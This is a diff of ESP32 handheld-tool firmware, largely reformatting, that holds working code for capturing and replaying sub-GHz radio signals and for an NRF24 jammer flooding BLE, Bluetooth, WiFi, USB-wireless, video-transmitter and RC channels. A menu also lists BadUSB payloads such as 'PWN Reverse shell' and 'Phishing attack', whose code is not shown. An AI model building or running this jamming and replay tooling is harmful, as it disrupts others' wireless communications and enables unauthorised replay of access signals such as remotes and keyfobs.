||||
|
|
@ -26,24 +26,25 @@ float rxBW = 325.0;
|
|||
int powerLevel = 10;
|
||||
|
||||
// ===== ISR =====
|
||||
void IRAM_ATTR pulseISR()
|
||||
{
|
||||
void IRAM_ATTR pulseISR() {
|
||||
unsigned long now = micros();
|
||||
|
||||
if (!capturing) return;
|
||||
if (pulseIndex >= RAW_BUF_MAX) return;
|
||||
if (!capturing)
|
||||
return;
|
||||
if (pulseIndex >= RAW_BUF_MAX)
|
||||
return;
|
||||
|
||||
unsigned long duration = now - lastEdgeTime;
|
||||
|
||||
if (duration < 150) return;
|
||||
if (duration < 150)
|
||||
return;
|
||||
|
||||
captureBuffer[pulseIndex++] = duration;
|
||||
lastEdgeTime = now;
|
||||
}
|
||||
|
||||
// ===== OOK SETUP =====
|
||||
void setupOOKMode()
|
||||
{
|
||||
void setupOOKMode() {
|
||||
ELECHOUSE_cc1101.SetRx();
|
||||
ELECHOUSE_cc1101.setMHZ(currentFreq);
|
||||
|
||||
|
|
@ -57,18 +58,12 @@ void setupOOKMode()
|
|||
|
||||
// ===== INIT (LAZY, SAFE) =====
|
||||
// ================= CC1101 INIT =================
|
||||
bool initCC1101()
|
||||
{
|
||||
bool initCC1101() {
|
||||
Serial.println();
|
||||
Serial.println("===== CC1101 INIT =====");
|
||||
|
||||
// ===== SPI =====
|
||||
SPI.begin(
|
||||
cc1101_SCK,
|
||||
cc1101_MISO,
|
||||
cc1101_MOSI,
|
||||
CC1101_CS
|
||||
);
|
||||
SPI.begin(cc1101_SCK, cc1101_MISO, cc1101_MOSI, CC1101_CS);
|
||||
|
||||
pinMode(CC1101_CS, OUTPUT);
|
||||
digitalWrite(CC1101_CS, HIGH);
|
||||
|
|
@ -76,23 +71,14 @@ bool initCC1101()
|
|||
delay(100);
|
||||
|
||||
// ===== GDO =====
|
||||
ELECHOUSE_cc1101.setGDO(
|
||||
CC1101_GDO0,
|
||||
-1
|
||||
);
|
||||
ELECHOUSE_cc1101.setGDO(CC1101_GDO0, -1);
|
||||
|
||||
ELECHOUSE_cc1101.setSpiPin(
|
||||
cc1101_SCK,
|
||||
cc1101_MISO,
|
||||
cc1101_MOSI,
|
||||
CC1101_CS
|
||||
);
|
||||
ELECHOUSE_cc1101.setSpiPin(cc1101_SCK, cc1101_MISO, cc1101_MOSI, CC1101_CS);
|
||||
|
||||
// ===== DETECT =====
|
||||
Serial.println("Checking chip...");
|
||||
|
||||
if (!ELECHOUSE_cc1101.getCC1101())
|
||||
{
|
||||
if (!ELECHOUSE_cc1101.getCC1101()) {
|
||||
Serial.println("❌ CC1101 NOT FOUND");
|
||||
return false;
|
||||
}
|
||||
|
|
@ -134,27 +120,19 @@ bool initCC1101()
|
|||
return true;
|
||||
}
|
||||
// ===== CAPTURE CONTROL =====
|
||||
void startCapture()
|
||||
{
|
||||
void startCapture() {
|
||||
pulseIndex = 0;
|
||||
capturing = true;
|
||||
lastEdgeTime = micros();
|
||||
|
||||
attachInterrupt(
|
||||
digitalPinToInterrupt(CC1101_GDO0),
|
||||
pulseISR,
|
||||
CHANGE
|
||||
);
|
||||
attachInterrupt(digitalPinToInterrupt(CC1101_GDO0), pulseISR, CHANGE);
|
||||
|
||||
Serial.println("Looking for RF... ");
|
||||
}
|
||||
|
||||
bool isCC1101Ready() {
|
||||
return cc1101Inited;
|
||||
}
|
||||
bool isCC1101Ready() { return cc1101Inited; }
|
||||
|
||||
void stopCapture()
|
||||
{
|
||||
void stopCapture() {
|
||||
capturing = false;
|
||||
|
||||
detachInterrupt(digitalPinToInterrupt(CC1101_GDO0));
|
||||
|
|
@ -163,20 +141,16 @@ void stopCapture()
|
|||
}
|
||||
|
||||
// ===== DEBUG PRINT =====
|
||||
void printCapture()
|
||||
{
|
||||
void printCapture() {
|
||||
Serial.println("Captured pulses:");
|
||||
|
||||
for (int i = 0; i < pulseIndex; i++)
|
||||
{
|
||||
for (int i = 0; i < pulseIndex; i++) {
|
||||
Serial.println(captureBuffer[i]);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
// ================= REPLAY =================
|
||||
void replaySignal()
|
||||
{
|
||||
void replaySignal() {
|
||||
Serial.println();
|
||||
Serial.println("Replaying signal...");
|
||||
|
||||
|
|
@ -186,12 +160,8 @@ void replaySignal()
|
|||
|
||||
pinMode(CC1101_GDO0, OUTPUT);
|
||||
|
||||
for (int i = 0; i < pulseIndex; i++)
|
||||
{
|
||||
digitalWrite(
|
||||
CC1101_GDO0,
|
||||
(i % 2 == 0) ? HIGH : LOW
|
||||
);
|
||||
for (int i = 0; i < pulseIndex; i++) {
|
||||
digitalWrite(CC1101_GDO0, (i % 2 == 0) ? HIGH : LOW);
|
||||
|
||||
delayMicroseconds(captureBuffer[i]);
|
||||
}
|
||||
|
|
@ -205,13 +175,9 @@ void replaySignal()
|
|||
Serial.println("Replay complete");
|
||||
}
|
||||
|
||||
|
||||
void captureAndDisplay()
|
||||
{
|
||||
if (!cc1101Inited)
|
||||
{
|
||||
if (!initCC1101())
|
||||
{
|
||||
void captureAndDisplay() {
|
||||
if (!cc1101Inited) {
|
||||
if (!initCC1101()) {
|
||||
u8g2.clearBuffer();
|
||||
u8g2.setFont(u8g2_font_6x10_tr);
|
||||
u8g2.drawStr(0, 20, "CC1101 Failed");
|
||||
|
|
@ -232,11 +198,9 @@ void captureAndDisplay()
|
|||
unsigned long lastSignal = millis();
|
||||
int lastPulseCount = 0;
|
||||
|
||||
while (true)
|
||||
{
|
||||
while (true) {
|
||||
// signal detected
|
||||
if (pulseIndex > lastPulseCount)
|
||||
{
|
||||
if (pulseIndex > lastPulseCount) {
|
||||
lastPulseCount = pulseIndex;
|
||||
lastSignal = millis();
|
||||
}
|
||||
|
|
@ -256,27 +220,22 @@ void captureAndDisplay()
|
|||
u8g2.print(currentFreq);
|
||||
u8g2.print(" MHz");
|
||||
|
||||
if (pulseIndex > 0)
|
||||
{
|
||||
if (pulseIndex > 0) {
|
||||
u8g2.drawStr(0, 54, "Signal Detected");
|
||||
}
|
||||
else
|
||||
{
|
||||
} else {
|
||||
u8g2.drawStr(0, 54, "Waiting...");
|
||||
}
|
||||
|
||||
u8g2.sendBuffer();
|
||||
|
||||
// auto print once capture stabilizes
|
||||
if (pulseIndex > 20 && (millis() - lastSignal > 1500))
|
||||
{
|
||||
if (pulseIndex > 20 && (millis() - lastSignal > 1500)) {
|
||||
stopCapture();
|
||||
|
||||
Serial.println();
|
||||
Serial.println("===== RF CAPTURE =====");
|
||||
|
||||
for (int i = 0; i < pulseIndex; i++)
|
||||
{
|
||||
for (int i = 0; i < pulseIndex; i++) {
|
||||
Serial.print(captureBuffer[i]);
|
||||
Serial.print(", ");
|
||||
}
|
||||
|
|
@ -292,12 +251,9 @@ void captureAndDisplay()
|
|||
}
|
||||
}
|
||||
|
||||
void handleMenu()
|
||||
{
|
||||
if (!isCC1101Ready())
|
||||
{
|
||||
if (!initCC1101())
|
||||
{
|
||||
void handleMenu() {
|
||||
if (!isCC1101Ready()) {
|
||||
if (!initCC1101()) {
|
||||
u8g2.clearBuffer();
|
||||
u8g2.setFont(u8g2_font_6x10_tr);
|
||||
u8g2.drawStr(0, 20, "CC1101 Failed");
|
||||
|
|
@ -314,8 +270,7 @@ void handleMenu()
|
|||
// ===== CAPTURE FOR 5 SEC =====
|
||||
unsigned long start = millis();
|
||||
|
||||
while (millis() - start < 5000)
|
||||
{
|
||||
while (millis() - start < 5000) {
|
||||
noInterrupts();
|
||||
int count = pulseIndex;
|
||||
interrupts();
|
||||
|
|
@ -339,8 +294,7 @@ void handleMenu()
|
|||
// ===== DISPLAY CAPTURE BUFFER =====
|
||||
int scroll = 0;
|
||||
|
||||
while (1)
|
||||
{
|
||||
while (1) {
|
||||
noInterrupts();
|
||||
int count = pulseIndex;
|
||||
interrupts();
|
||||
|
|
@ -351,8 +305,7 @@ void handleMenu()
|
|||
u8g2.drawStr(0, 8, "Captured Buffer");
|
||||
|
||||
// display 6 lines
|
||||
for (int i = 0; i < 6; i++)
|
||||
{
|
||||
for (int i = 0; i < 6; i++) {
|
||||
int idx = scroll + i;
|
||||
|
||||
if (idx >= count)
|
||||
|
|
@ -372,8 +325,7 @@ void handleMenu()
|
|||
u8g2.sendBuffer();
|
||||
|
||||
// scroll down
|
||||
if (btnDown())
|
||||
{
|
||||
if (btnDown()) {
|
||||
if (scroll < count - 1)
|
||||
scroll++;
|
||||
|
||||
|
|
@ -381,8 +333,7 @@ void handleMenu()
|
|||
}
|
||||
|
||||
// scroll up
|
||||
if (btnUp())
|
||||
{
|
||||
if (btnUp()) {
|
||||
if (scroll > 0)
|
||||
scroll--;
|
||||
|
||||
|
|
@ -390,15 +341,13 @@ void handleMenu()
|
|||
}
|
||||
|
||||
// replay
|
||||
if (btnSelect())
|
||||
{
|
||||
if (btnSelect()) {
|
||||
replaySignal();
|
||||
delay(300);
|
||||
}
|
||||
|
||||
// exit
|
||||
if (btnBack())
|
||||
{
|
||||
if (btnBack()) {
|
||||
delay(150);
|
||||
return;
|
||||
}
|
||||
|
|
|
|||
|
|
@ -1,8 +1,8 @@
|
|||
#include <Arduino.h>
|
||||
#include <RF24.h>
|
||||
#include "nrf24.h"
|
||||
#include "../ui/display.h"
|
||||
#include "../utils/buttons.h"
|
||||
#include <Arduino.h>
|
||||
#include <RF24.h>
|
||||
#define JAM_DURATION 500
|
||||
|
||||
extern SPIClass *RADIO_SPI;
|
||||
|
|
@ -11,24 +11,16 @@ extern RF24 radio2;
|
|||
|
||||
// ============ CHANNELS =============
|
||||
const byte bleChannels[] = {2, 26, 80};
|
||||
const byte bluetoothChannels[] = {
|
||||
32, 34, 46, 48, 50, 52,
|
||||
0, 1, 2, 4, 6, 8,
|
||||
22, 24, 26, 28, 30,
|
||||
74, 76, 78, 80
|
||||
};
|
||||
const byte wifiChannels[] = {
|
||||
12, 17, 22, 27, 32,
|
||||
37, 42, 47, 52, 57,
|
||||
62, 67, 72
|
||||
};
|
||||
const byte bluetoothChannels[] = {32, 34, 46, 48, 50, 52, 0, 1, 2, 4, 6,
|
||||
8, 22, 24, 26, 28, 30, 74, 76, 78, 80};
|
||||
const byte wifiChannels[] = {12, 17, 22, 27, 32, 37, 42,
|
||||
47, 52, 57, 62, 67, 72};
|
||||
const byte usbWireless_channels[] = {40, 50, 60};
|
||||
const byte videoTransmitter_channels[] = {70, 75, 80};
|
||||
const byte zigbee_channels[] = {11, 15, 20, 25};
|
||||
const byte rc_channels[] = {1, 3, 5, 7};
|
||||
|
||||
void initNRF(RF24 &radio)
|
||||
{
|
||||
void initNRF(RF24 &radio) {
|
||||
if (!radio.begin(RADIO_SPI)) {
|
||||
Serial.println("NRF not found");
|
||||
return;
|
||||
|
|
@ -42,11 +34,8 @@ void initNRF(RF24 &radio)
|
|||
radio.openWritingPipe(0xE7E7E7E7E7LL);
|
||||
radio.setCRCLength(RF24_CRC_DISABLED);
|
||||
Serial.println("NRF Initialized");
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
// void startBleJammer() {
|
||||
// initNRF(radio1);
|
||||
// initNRF(radio2);
|
||||
|
|
@ -101,7 +90,8 @@ void initNRF(RF24 &radio)
|
|||
// while(true) {
|
||||
//
|
||||
// // Channels (you can change this set)
|
||||
// const byte channels[] = {32, 34, 46, 48, 50, 52, 0, 1, 2, 4, 6, 8, 22, 24, 26, 28, 30, 74, 76, 78, 80};
|
||||
// const byte channels[] = {32, 34, 46, 48, 50, 52, 0, 1, 2, 4, 6, 8, 22,
|
||||
// 24, 26, 28, 30, 74, 76, 78, 80};
|
||||
//
|
||||
//
|
||||
// for (int i = 0; i < sizeof(channels); i++) {
|
||||
|
|
@ -119,8 +109,7 @@ void initNRF(RF24 &radio)
|
|||
// }
|
||||
// }
|
||||
|
||||
void startJammer(const char* name, const byte* channels, size_t channelCount)
|
||||
{
|
||||
void startJammer(const char *name, const byte *channels, size_t channelCount) {
|
||||
initNRF(radio1);
|
||||
initNRF(radio2);
|
||||
|
||||
|
|
@ -135,10 +124,8 @@ void startJammer(const char* name, const byte* channels, size_t channelCount)
|
|||
u8g2.drawStr(0, 55, "BACK = Exit");
|
||||
u8g2.sendBuffer();
|
||||
|
||||
while (true)
|
||||
{
|
||||
for (size_t i = 0; i < channelCount; i++)
|
||||
{
|
||||
while (true) {
|
||||
for (size_t i = 0; i < channelCount; i++) {
|
||||
// radio1.setChannel(channels[i]);
|
||||
// radio1.write(&payload, sizeof(payload));
|
||||
|
||||
|
|
@ -146,7 +133,6 @@ void startJammer(const char* name, const byte* channels, size_t channelCount)
|
|||
// radio2.setChannel(channels[i]);
|
||||
// radio2.write(&payload, sizeof(payload));
|
||||
|
||||
|
||||
radio1.setChannel(channels[i]);
|
||||
radio2.setChannel(channels[(i + 1) % channelCount]);
|
||||
|
||||
|
|
@ -154,8 +140,7 @@ void startJammer(const char* name, const byte* channels, size_t channelCount)
|
|||
radio2.writeFast(&payload, sizeof(payload));
|
||||
}
|
||||
|
||||
if (btnBack())
|
||||
{
|
||||
if (btnBack()) {
|
||||
Serial.println("Jammer stopped");
|
||||
radio1.powerDown();
|
||||
radio2.powerDown();
|
||||
|
|
@ -178,7 +163,6 @@ void startJammer(const char* name, const byte* channels, size_t channelCount)
|
|||
// delayMicroseconds(200);
|
||||
//}
|
||||
|
||||
|
||||
// if (btnBack())
|
||||
//{
|
||||
// Serial.println("Jammer stopped");
|
||||
|
|
@ -196,51 +180,34 @@ void NRFToolsMenu(int index) {
|
|||
case 0:
|
||||
// startBleJammer();
|
||||
// BLE
|
||||
startJammer(
|
||||
"BLE",
|
||||
bleChannels,
|
||||
sizeof(bleChannels) / sizeof(bleChannels[0])
|
||||
);
|
||||
startJammer("BLE", bleChannels,
|
||||
sizeof(bleChannels) / sizeof(bleChannels[0]));
|
||||
|
||||
break;
|
||||
case 1:
|
||||
// startBluetoothJammer();
|
||||
// Bluetooth
|
||||
startJammer(
|
||||
"Bluetooth",
|
||||
bluetoothChannels,
|
||||
sizeof(bluetoothChannels) / sizeof(bluetoothChannels[0])
|
||||
);
|
||||
startJammer("Bluetooth", bluetoothChannels,
|
||||
sizeof(bluetoothChannels) / sizeof(bluetoothChannels[0]));
|
||||
break;
|
||||
|
||||
case 2:
|
||||
startJammer(
|
||||
"WiFi",
|
||||
wifiChannels,
|
||||
sizeof(wifiChannels) / sizeof(wifiChannels[0])
|
||||
);
|
||||
startJammer("WiFi", wifiChannels,
|
||||
sizeof(wifiChannels) / sizeof(wifiChannels[0]));
|
||||
break;
|
||||
case 3:
|
||||
startJammer(
|
||||
"USB Wireless",
|
||||
usbWireless_channels,
|
||||
sizeof(usbWireless_channels) / sizeof(usbWireless_channels[0])
|
||||
);
|
||||
startJammer("USB Wireless", usbWireless_channels,
|
||||
sizeof(usbWireless_channels) / sizeof(usbWireless_channels[0]));
|
||||
break;
|
||||
case 4:
|
||||
startJammer(
|
||||
"Video TX",
|
||||
videoTransmitter_channels,
|
||||
sizeof(videoTransmitter_channels) / sizeof(videoTransmitter_channels[0])
|
||||
);
|
||||
startJammer("Video TX", videoTransmitter_channels,
|
||||
sizeof(videoTransmitter_channels) /
|
||||
sizeof(videoTransmitter_channels[0]));
|
||||
break;
|
||||
case 5:
|
||||
break;
|
||||
startJammer(
|
||||
"RC",
|
||||
rc_channels,
|
||||
sizeof(rc_channels) / sizeof(rc_channels[0])
|
||||
);
|
||||
startJammer("RC", rc_channels,
|
||||
sizeof(rc_channels) / sizeof(rc_channels[0]));
|
||||
break;
|
||||
case 6:
|
||||
|
||||
|
|
|
|||
|
|
@ -1,15 +1,10 @@
|
|||
#include "display.h"
|
||||
#include <Wire.h>
|
||||
#include "config.h"
|
||||
#include <Wire.h>
|
||||
|
||||
U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2(U8G2_R0, U8X8_PIN_NONE);
|
||||
|
||||
U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2(
|
||||
U8G2_R0,
|
||||
U8X8_PIN_NONE
|
||||
);
|
||||
|
||||
void displayInit()
|
||||
{
|
||||
void displayInit() {
|
||||
Wire.begin(OLED_SDA_PIN, OLED_SCL_PIN);
|
||||
u8g2.begin();
|
||||
u8g2.setFont(u8g2_font_6x12_tr);
|
||||
|
|
|
|||
149
src/ui/menu.cpp
149
src/ui/menu.cpp
|
|
@ -1,57 +1,42 @@
|
|||
#include <Arduino.h>
|
||||
#include "menu.h"
|
||||
#include "display.h"
|
||||
#include "utils/buttons.h"
|
||||
#include "hid/badusb.h"
|
||||
#include "rf/nrf24.h"
|
||||
#include "rf/cc1101.h"
|
||||
#include "wifi/wifi_scan.h"
|
||||
#include "wifi/wifi_analyzer.h"
|
||||
#include "utils/device_check.h"
|
||||
#include "BleMouse.h"
|
||||
#include "bluetooth/ble_mouse.h"
|
||||
#include "bluetooth/blescanner.h"
|
||||
#include "utils/sysinfo.h"
|
||||
#include "BleMouse.h"
|
||||
#include "display.h"
|
||||
#include "hid/badusb.h"
|
||||
#include "nfc/nfc.h"
|
||||
#include "rf/cc1101.h"
|
||||
#include "rf/nrf24.h"
|
||||
#include "utils/buttons.h"
|
||||
#include "utils/device_check.h"
|
||||
#include "utils/sysinfo.h"
|
||||
#include "wifi/wifi_analyzer.h"
|
||||
#include "wifi/wifi_scan.h"
|
||||
#include <Arduino.h>
|
||||
|
||||
// ================= MENU DATA =================
|
||||
extern BleMouse bleMouse;
|
||||
|
||||
// Root menu
|
||||
const char *mainMenuItems[] = {
|
||||
"BadUSB",
|
||||
"RF Capture",
|
||||
"NRF Tools",
|
||||
"BLE Scan",
|
||||
"Wifi Scan",
|
||||
"Wifi Analyzer",
|
||||
"System Info",
|
||||
"Device Check",
|
||||
"Restart",
|
||||
"Ble Mouse",
|
||||
"NFC Tools"
|
||||
};
|
||||
|
||||
Menu mainMenu = {mainMenuItems, sizeof(mainMenuItems) / sizeof(mainMenuItems[0])};
|
||||
const char *mainMenuItems[] = {"BadUSB", "RF Capture", "NRF Tools",
|
||||
"BLE Scan", "Wifi Scan", "Wifi Analyzer",
|
||||
"System Info", "Device Check", "Restart",
|
||||
"Ble Mouse", "NFC Tools"};
|
||||
|
||||
Menu mainMenu = {mainMenuItems,
|
||||
sizeof(mainMenuItems) / sizeof(mainMenuItems[0])};
|
||||
|
||||
// NRF Tools menu
|
||||
const char *nrfToolsItems[] = {
|
||||
"BLE Jammer",
|
||||
"Bluetooth Jammer",
|
||||
"Wifi Jammer",
|
||||
"USB Wireless",
|
||||
"Video TX",
|
||||
"Zigbee",
|
||||
"RC"
|
||||
"BLE Jammer", "Bluetooth Jammer", "Wifi Jammer", "USB Wireless",
|
||||
"Video TX", "Zigbee", "RC"
|
||||
|
||||
};
|
||||
|
||||
Menu nrfToolsMenu = {nrfToolsItems, sizeof(nrfToolsItems) / sizeof(nrfToolsItems[0])};
|
||||
Menu nrfToolsMenu = {nrfToolsItems,
|
||||
sizeof(nrfToolsItems) / sizeof(nrfToolsItems[0])};
|
||||
|
||||
|
||||
const char *badusbItems[] = {
|
||||
"ORION Demo",
|
||||
const char *badusbItems[] = {"ORION Demo",
|
||||
"RickRoll",
|
||||
"Matrix Rain",
|
||||
"Fake Terminal",
|
||||
|
|
@ -64,8 +49,7 @@ const char *badusbItems[] = {
|
|||
"PWN Reverse shell",
|
||||
"Phishing attack",
|
||||
"Desktop Ghost",
|
||||
"System Stresser"
|
||||
};
|
||||
"System Stresser"};
|
||||
|
||||
Menu badusbMenu = {badusbItems, sizeof(badusbItems) / sizeof(badusbItems[0])};
|
||||
|
||||
|
|
@ -82,8 +66,7 @@ bool insideFeature = false;
|
|||
|
||||
// ================= DRAW =================
|
||||
|
||||
void drawMenu()
|
||||
{
|
||||
void drawMenu() {
|
||||
u8g2.clearBuffer();
|
||||
|
||||
// scroll handling
|
||||
|
|
@ -93,8 +76,7 @@ void drawMenu()
|
|||
if (menuIndex >= menuOffset + MENU_VISIBLE_ROWS)
|
||||
menuOffset = menuIndex - MENU_VISIBLE_ROWS + 1;
|
||||
|
||||
for (int i = 0; i < MENU_VISIBLE_ROWS; i++)
|
||||
{
|
||||
for (int i = 0; i < MENU_VISIBLE_ROWS; i++) {
|
||||
int item = menuOffset + i;
|
||||
|
||||
if (item >= currentMenu->size)
|
||||
|
|
@ -118,14 +100,11 @@ void drawMenu()
|
|||
|
||||
// ================= FEATURE EXECUTION =================
|
||||
|
||||
void launchFeature()
|
||||
{
|
||||
void launchFeature() {
|
||||
insideFeature = true;
|
||||
|
||||
if (currentMenu == &mainMenu)
|
||||
{
|
||||
switch (menuIndex)
|
||||
{
|
||||
if (currentMenu == &mainMenu) {
|
||||
switch (menuIndex) {
|
||||
case 0: // BadUSB → enter submenu
|
||||
currentMenu = &badusbMenu;
|
||||
menuIndex = 0;
|
||||
|
|
@ -155,8 +134,7 @@ void launchFeature()
|
|||
}
|
||||
break;
|
||||
|
||||
case 4:
|
||||
{
|
||||
case 4: {
|
||||
// Start scan once
|
||||
wifi_scan_start();
|
||||
wifi_scan_draw();
|
||||
|
|
@ -171,18 +149,15 @@ void launchFeature()
|
|||
}
|
||||
break;
|
||||
}
|
||||
case 5:
|
||||
{
|
||||
case 5: {
|
||||
|
||||
wifi_analyzer_start();
|
||||
|
||||
bool prevBack = false;
|
||||
while (1)
|
||||
{
|
||||
while (1) {
|
||||
wifi_analyzer_loop();
|
||||
bool nowBack = btnBack();
|
||||
if (nowBack && !prevBack)
|
||||
{
|
||||
if (nowBack && !prevBack) {
|
||||
delay(150);
|
||||
break;
|
||||
}
|
||||
|
|
@ -197,8 +172,7 @@ void launchFeature()
|
|||
case 7:
|
||||
device_check_run();
|
||||
break;
|
||||
case 8:
|
||||
{
|
||||
case 8: {
|
||||
// wait for button release
|
||||
delay(200);
|
||||
|
||||
|
|
@ -206,24 +180,20 @@ void launchFeature()
|
|||
delay(10);
|
||||
bool confirm = false;
|
||||
|
||||
while (1)
|
||||
{
|
||||
while (1) {
|
||||
u8g2.clearBuffer();
|
||||
u8g2.setFont(u8g2_font_6x13_tr);
|
||||
|
||||
u8g2.drawStr(18, 18, "Restart Device?");
|
||||
|
||||
if (confirm)
|
||||
{
|
||||
if (confirm) {
|
||||
u8g2.drawBox(10, 35, 45, 15);
|
||||
u8g2.setDrawColor(0);
|
||||
u8g2.drawStr(20, 47, "YES");
|
||||
u8g2.setDrawColor(1);
|
||||
|
||||
u8g2.drawStr(75, 47, "NO");
|
||||
}
|
||||
else
|
||||
{
|
||||
} else {
|
||||
u8g2.drawStr(20, 47, "YES");
|
||||
|
||||
u8g2.drawBox(65, 35, 45, 15);
|
||||
|
|
@ -234,45 +204,37 @@ void launchFeature()
|
|||
|
||||
u8g2.sendBuffer();
|
||||
|
||||
if (btnLeft() || btnUp())
|
||||
{
|
||||
if (btnLeft() || btnUp()) {
|
||||
confirm = true;
|
||||
delay(150);
|
||||
}
|
||||
|
||||
if (btnRight() || btnDown())
|
||||
{
|
||||
if (btnRight() || btnDown()) {
|
||||
confirm = false;
|
||||
delay(150);
|
||||
}
|
||||
|
||||
if (btnSelect())
|
||||
{
|
||||
if (btnSelect()) {
|
||||
delay(150);
|
||||
|
||||
if (confirm)
|
||||
{
|
||||
if (confirm) {
|
||||
u8g2.clearBuffer();
|
||||
u8g2.drawStr(28, 30, "Restarting...");
|
||||
u8g2.sendBuffer();
|
||||
|
||||
delay(1000);
|
||||
ESP.restart();
|
||||
}
|
||||
else
|
||||
{
|
||||
} else {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (btnBack())
|
||||
{
|
||||
if (btnBack()) {
|
||||
delay(150);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
break;
|
||||
} break;
|
||||
|
||||
case 9:
|
||||
// Begin Ble mouse
|
||||
|
|
@ -283,9 +245,7 @@ void launchFeature()
|
|||
pn532_scan_loop();
|
||||
break;
|
||||
}
|
||||
}
|
||||
else if (currentMenu == &badusbMenu)
|
||||
{
|
||||
} else if (currentMenu == &badusbMenu) {
|
||||
badUSBMenu(menuIndex);
|
||||
} else if (currentMenu == &nrfToolsMenu) {
|
||||
NRFToolsMenu(menuIndex);
|
||||
|
|
@ -298,8 +258,7 @@ void launchFeature()
|
|||
|
||||
// ================= INIT =================
|
||||
|
||||
void menuInit()
|
||||
{
|
||||
void menuInit() {
|
||||
currentMenu = &mainMenu;
|
||||
menuIndex = 0;
|
||||
menuOffset = 0;
|
||||
|
|
@ -309,8 +268,7 @@ void menuInit()
|
|||
|
||||
// ================= LOOP =================
|
||||
|
||||
void menuLoop()
|
||||
{
|
||||
void menuLoop() {
|
||||
static uint32_t lastPress = 0;
|
||||
|
||||
if (insideFeature)
|
||||
|
|
@ -319,8 +277,7 @@ void menuLoop()
|
|||
if (millis() - lastPress < 150)
|
||||
return;
|
||||
|
||||
if (btnUp())
|
||||
{
|
||||
if (btnUp()) {
|
||||
menuIndex--;
|
||||
|
||||
if (menuIndex < 0)
|
||||
|
|
@ -330,8 +287,7 @@ void menuLoop()
|
|||
lastPress = millis();
|
||||
}
|
||||
|
||||
else if (btnDown())
|
||||
{
|
||||
else if (btnDown()) {
|
||||
menuIndex++;
|
||||
|
||||
if (menuIndex >= currentMenu->size)
|
||||
|
|
@ -341,16 +297,13 @@ void menuLoop()
|
|||
lastPress = millis();
|
||||
}
|
||||
|
||||
else if (btnSelect())
|
||||
{
|
||||
else if (btnSelect()) {
|
||||
launchFeature();
|
||||
lastPress = millis();
|
||||
}
|
||||
|
||||
else if (btnBack())
|
||||
{
|
||||
if (currentMenu != &mainMenu)
|
||||
{
|
||||
else if (btnBack()) {
|
||||
if (currentMenu != &mainMenu) {
|
||||
currentMenu = &mainMenu;
|
||||
menuIndex = 0;
|
||||
menuOffset = 0;
|
||||
|
|
|
|||
|
|
@ -1,9 +1,8 @@
|
|||
#include "buttons.h"
|
||||
#include <Arduino.h>
|
||||
#include "../config.h"
|
||||
#include <Arduino.h>
|
||||
|
||||
void buttonsInit()
|
||||
{
|
||||
void buttonsInit() {
|
||||
pinMode(BTN_UP, INPUT_PULLUP);
|
||||
pinMode(BTN_DOWN, INPUT_PULLUP);
|
||||
pinMode(BTN_SELECT, INPUT_PULLUP);
|
||||
|
|
|
|||
|
|
@ -1,12 +1,12 @@
|
|||
#include "../libs/ELECHOUSE_CC1101_SRC_DRV.h"
|
||||
#include <Arduino.h>
|
||||
#include <RF24.h>
|
||||
#include <SPI.h>
|
||||
#include <Wire.h>
|
||||
#include <RF24.h>
|
||||
#include "../libs/ELECHOUSE_CC1101_SRC_DRV.h"
|
||||
|
||||
#include "../config.h"
|
||||
#include "../ui/display.h"
|
||||
#include "buttons.h"
|
||||
#include "../config.h"
|
||||
|
||||
// ===== EXTERNALS =====
|
||||
extern RF24 radio1;
|
||||
|
|
@ -18,10 +18,8 @@ extern U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2;
|
|||
struct DeviceStatus {
|
||||
bool nrf1 = false;
|
||||
bool nrf2 = false;
|
||||
bool cc1101_1 = false;
|
||||
bool cc1101_2 = false;
|
||||
bool cc1101 = false;
|
||||
bool oled = true;
|
||||
bool buttons = false;
|
||||
};
|
||||
|
||||
// ===== NRF CHECK =====
|
||||
|
|
@ -36,8 +34,7 @@ struct DeviceStatus {
|
|||
// return radio.isChipConnected();
|
||||
//}
|
||||
|
||||
bool checkNRF(RF24 &radio)
|
||||
{
|
||||
bool checkNRF(RF24 &radio) {
|
||||
radio.powerDown();
|
||||
delay(5);
|
||||
|
||||
|
|
@ -50,73 +47,30 @@ bool checkNRF(RF24 &radio)
|
|||
}
|
||||
|
||||
// ===== CC1101 CHECK =====
|
||||
bool checkCC1101(uint8_t csPin)
|
||||
{
|
||||
ELECHOUSE_cc1101.setSpiPin(
|
||||
cc1101_SCK,
|
||||
cc1101_MISO,
|
||||
cc1101_MOSI,
|
||||
csPin
|
||||
);
|
||||
bool checkCC1101(uint8_t csPin) {
|
||||
ELECHOUSE_cc1101.setSpiPin(cc1101_SCK, cc1101_MISO, cc1101_MOSI, csPin);
|
||||
|
||||
delay(5);
|
||||
|
||||
return ELECHOUSE_cc1101.getCC1101();
|
||||
}
|
||||
|
||||
// ===== BUTTON CHECK =====
|
||||
bool checkButtons()
|
||||
{
|
||||
u8g2.clearBuffer();
|
||||
u8g2.setFont(u8g2_font_6x10_tr);
|
||||
u8g2.drawStr(0, 20, "Press any button...");
|
||||
u8g2.sendBuffer();
|
||||
|
||||
unsigned long start = millis();
|
||||
|
||||
while (millis() - start < 2000)
|
||||
{
|
||||
if (!digitalRead(BTN_UP) ||
|
||||
!digitalRead(BTN_DOWN) ||
|
||||
!digitalRead(BTN_SELECT) ||
|
||||
!digitalRead(BTN_BACK) ||
|
||||
!digitalRead(BTN_RIGHT) ||
|
||||
!digitalRead(BTN_LEFT))
|
||||
{
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
// ===== DRAW =====
|
||||
#define MAX_ITEMS 6
|
||||
#define MAX_ITEMS 4
|
||||
#define VISIBLE_ROWS 5
|
||||
|
||||
const char* labels[MAX_ITEMS] = {
|
||||
"NRF1",
|
||||
"NRF2",
|
||||
"CC1101-1",
|
||||
"CC1101-2",
|
||||
"BUTTONS",
|
||||
"OLED"
|
||||
};
|
||||
const char *labels[MAX_ITEMS] = {"NRF1", "NRF2", "CC1101", "OLED"};
|
||||
|
||||
bool values[MAX_ITEMS];
|
||||
|
||||
int selectedIndex = 0;
|
||||
int offset = 0;
|
||||
|
||||
void drawStatus(DeviceStatus &s)
|
||||
{
|
||||
void drawStatus(DeviceStatus &s) {
|
||||
values[0] = s.nrf1;
|
||||
values[1] = s.nrf2;
|
||||
values[2] = s.cc1101_1;
